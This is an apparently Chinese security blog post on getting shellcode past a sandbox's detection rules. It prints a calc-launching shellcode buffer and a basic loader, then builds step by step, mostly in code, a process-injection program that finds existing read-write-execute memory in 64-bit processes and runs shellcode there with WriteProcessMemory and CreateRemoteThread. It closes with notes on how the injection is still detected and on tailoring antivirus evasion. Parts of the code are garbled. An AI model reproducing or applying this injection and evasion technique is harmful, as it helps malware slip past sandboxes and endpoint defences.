使用場景

在某次實(shí)踐中碰到一個(gè)沙箱,在不知道沙箱強(qiáng)度的情況下只能一點(diǎn)點(diǎn)去探索,程序通過調(diào)用ShellCode彈出計(jì)算器。丟到沙箱里面進(jìn)行測(cè)試發(fā)現(xiàn)被沙箱檢測(cè)到并且爆出了執(zhí)行ShellCode的行為。了解過沙箱的朋友都知道，沙箱一般是通過Hook關(guān)鍵API得到調(diào)用信息返回給腳本去匹配規(guī)則。

解析

#include
#include

unsignedcharbuf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x61x6cx63x2ex65x78x65x00";


intmain()
{
autoaddr = VirtualAlloc(nullptr, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory((HANDLE)-1, addr, buf, sizeof(buf), NULL);
CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)addr, NULL, NULL, NULL);
std::cin.get();
return0;
}

在這個(gè)函數(shù)中我們執(zhí)行ShellCode的調(diào)用了三個(gè)關(guān)鍵的函數(shù)VirtualAlloc，WriteProcessMemory，CreateThread而這三個(gè)函數(shù)是執(zhí)行ShellCode或者注入常用的API,這里可以肯定的一點(diǎn)是已經(jīng)被沙箱掛鉤了。所以我們要繞過要不就是脫鉤要不就是猜規(guī)則的寫法找規(guī)則的漏洞。

規(guī)則

...
iffunc("VirtualAlloc") == True:
iffunc("WriteProcessMemory") == True:
iffunc("CreateThread") == True:
print("執(zhí)行了ShellCode")
...

func函數(shù)中檢測(cè)鉤子輸出文件或者從內(nèi)存信息獲取到這個(gè)三個(gè)函數(shù)的觸發(fā)順序，現(xiàn)在觸發(fā)了這條規(guī)則，就說明我們目前是在執(zhí)行ShellCode，因此成為了報(bào)毒的一個(gè)關(guān)鍵點(diǎn)。

如何繞過

最簡單的繞過是使用類似功能的函數(shù)進(jìn)行替代，這里也可能存在一個(gè)問題,就是常見的那些函數(shù)已經(jīng)被掛鉤了，因?yàn)楹芏嗌诚淠J(rèn)就掛鉤了很多內(nèi)存相關(guān)的API，如果我們?nèi)绻皇翘鎿Q一些函數(shù)可能還是會(huì)被檢測(cè)到，當(dāng)然不排除這些方式可以繞過一些沙箱，單這次遇到的沙箱我測(cè)試替換了很多API還是會(huì)被檢測(cè)到。那么我們只能從規(guī)則方面去下手了。

我們反過來想一下，我們執(zhí)行ShellCode就需要先申請(qǐng)可執(zhí)行的內(nèi)存，在寫數(shù)據(jù)到內(nèi)存中，在啟動(dòng)線程去執(zhí)行數(shù)據(jù)。那么我們可不可以不申請(qǐng)內(nèi)存就可以執(zhí)行。這就是我們繞過不這么健全規(guī)則的一種方式。

構(gòu)造

1. 遍歷系統(tǒng)進(jìn)程

遍歷進(jìn)程的方式有很多中，這里我們選擇使用Windows Api進(jìn)行遍歷，具體代碼如下:

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);

do
{
std::cout<< processEntry.szExeFile << "	pid:"?<< processEntry.th32ProcessID << "
";
??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

下一步我們要去判斷軟件架構(gòu)，為什么要進(jìn)行這一步是取決于我們的ShellCode是多少位的，這里我的ShellCode是64位，所以要過濾掉32位進(jìn)程，不然在后續(xù)找到可讀可寫可執(zhí)行內(nèi)存的時(shí)候我們雖然可以寫入到內(nèi)存，但不能執(zhí)行起來。

2. 判斷軟件架構(gòu)

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 過濾掉32位進(jìn)程
CloseHandle(process);
continue;
}
CloseHandle(process);
std::cout<< processEntry.szExeFile << " pid:"?<< processEntry.th32ProcessID << " is 64-bit."?<< "
";
????}

??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

IsWow64Process(process, &isWow64) && isWow64

新加入的代碼中使用IsWow64Process這個(gè)API去判斷進(jìn)程是否為64位，如果不是我們就進(jìn)行下次一循環(huán)。如果是我們需要架構(gòu)的進(jìn)程我們就要進(jìn)行下一步判斷進(jìn)程中是否有可讀可寫可執(zhí)行的內(nèi)存讓我們?nèi)?gòu)造ShellCode。

3. 判斷進(jìn)程是否已經(jīng)有可讀可寫可執(zhí)行的內(nèi)存

#include
#include
#include

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 過濾掉32位進(jìn)程
CloseHandle(process);
continue;
}
std::cout<< processEntry.szExeFile << "	pid:"?<< processEntry.th32ProcessID << "
";
??????while?(VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
??????{
????????if?(mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
????????{
??????????std::cout?<< "	RWX內(nèi)存地址: 0x"?<< std::hex << mbi.BaseAddress << "
";
????????}
????????offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
??????}
??????offset = 0;

??????CloseHandle(process);
????}

??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

這種就是我們可操作的內(nèi)存，主要使用到的函數(shù)是VirtualQueryEx，通過遍歷出進(jìn)程中所有內(nèi)存，對(duì)內(nèi)存屬性進(jìn)行判斷，篩選出我們需要的內(nèi)存。

4. 寫入內(nèi)存到獲取的分塊中

#include
#include
#include

unsignedcharbuf[] =
"xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50"
"x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52"
"x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4a"
"x4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41"
"xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52"
"x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48"
"x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40"
"x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48"
"x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41"
"x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1"
"x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0c"
"x48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01"
"xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5a"
"x48x83xecx20x41x52xffxe0x58x41x59x5ax48x8b"
"x12xe9x57xffxffxffx5dx48xbax01x00x00x00x00"
"x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8b"
"x6fx87xffxd5xbbxe0x1dx2ax0ax41xbaxa6x95xbd"
"x9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0"
"x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxff"
"xd5x63x61x6cx63x2ex65x78x65x00";

intmain()
{
PROCESSENTRY32 processEntry = {};
processEntry.dwSize = sizeof(PROCESSENTRY32);
HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
Process32First(snapshot, &processEntry);
HANDLE process = NULL;
LPVOID offset = 0;
MEMORY_BASIC_INFORMATION mbi = {};
boolisExecute = false;

do
{
process = OpenProcess(MAXIMUM_ALLOWED, false, processEntry.th32ProcessID);
if(process)
{
BOOL isWow64 = FALSE;
if(IsWow64Process(process, &isWow64) && isWow64)
{
// 過濾掉32位進(jìn)程
CloseHandle(process);
continue;
}
while(VirtualQueryEx(process, offset, &mbi, sizeof(mbi)))
{
if(mbi.AllocationProtect == PAGE_EXECUTE_READWRITE && mbi.State == MEM_COMMIT && mbi.Type == MEM_PRIVATE)
{
std::cout<< processEntry.szExeFile << "	pid:"?<< processEntry.th32ProcessID << "	寫入地址: 0x"?<< std::hex << mbi.BaseAddress << std::endl;
??????????WriteProcessMemory(process, mbi.BaseAddress, buf, sizeof(buf), NULL);
??????????CreateRemoteThread(process, NULL, NULL, (LPTHREAD_START_ROUTINE)mbi.BaseAddress, NULL, NULL, NULL);
??????????isExecute = true;
??????????break;
????????}
????????offset = (LPVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);
??????}
??????offset = 0;

??????CloseHandle(process);
??????if?(isExecute)
??????{
????????break;
??????}
????}

??} while?(Process32Next(snapshot, &processEntry));

??return?0;
}

這里需要注意的是第一次獲取到可用內(nèi)存的時(shí)候就可以退出循環(huán)了，避免ShellCode多次執(zhí)行。

5. 執(zhí)行ShellCode完成目標(biāo)

驗(yàn)證內(nèi)存

檢測(cè)方式

注入檢測(cè)：這種方式不管怎么繞，都必須要經(jīng)過的一點(diǎn)，都要通過一個(gè)進(jìn)程去往另外一個(gè)進(jìn)程中去寫入數(shù)據(jù)，而這個(gè)行為是很好檢測(cè)的。遇到這種基本可以直接判定為是惡意軟件。

微步檢測(cè)：觸發(fā)ATTCK

微步分析出現(xiàn)兩個(gè)檢測(cè)總得來說就是進(jìn)行了注入，規(guī)則可能是針對(duì)WriteProcessMemory這個(gè)函數(shù)進(jìn)行檢測(cè)。

BOOL WINAPI WriteProcessMemory(

In HANDLE hProcess,

In LPVOID lpBaseAddress,

In_reads_bytes(nSize) LPCVOID lpBuffer,

In SIZE_T nSize,

Out_opt SIZE_T* lpNumberOfBytesWritten);

第一個(gè)參數(shù)是要被寫入數(shù)據(jù)的進(jìn)程句柄，這里可以根據(jù)句柄去判斷出寫入的是哪個(gè)進(jìn)程，在與當(dāng)前掛鉤的進(jìn)程進(jìn)行對(duì)比，從而判斷出來是寫入到其他進(jìn)程還是當(dāng)前進(jìn)程，如果是其他進(jìn)程就觸發(fā)規(guī)則‘修改其他進(jìn)程內(nèi)存數(shù)據(jù)’。而這種我們也可以通過前面講到繞過EDR脫鉤來反沙箱鉤子，不過這種方式只能繞過三環(huán)的鉤子，如果是內(nèi)核鉤子我們就需要在0環(huán)對(duì)抗了。還有就是我們脫鉤也是一種很常見的高危行為，常規(guī)脫鉤大概率是會(huì)被直接檢測(cè)出的。

注入規(guī)則的觸發(fā)是WriteProcessMemory + CreateRemoteThread，如果單純的去調(diào)用WriteProcessMemory觸發(fā)的是執(zhí)行遠(yuǎn)程函數(shù)這個(gè)規(guī)則，應(yīng)該是針對(duì)這兩個(gè)API去組建了一個(gè)新的規(guī)則。

總結(jié)

本次試驗(yàn)的目的并不是去繞過一款沙箱。主要是要總結(jié)經(jīng)驗(yàn)，去根據(jù)不同的引擎和規(guī)則針對(duì)性的去改變自己的免殺方式，沒有哪種方式的免殺是可以永久不殺的，也沒有任何沙箱可以百分百檢測(cè)到各種行為。主要是在于繞過的方式和規(guī)則的構(gòu)建。要多嘗試總結(jié)出被殺的原因。

審核編輯：劉清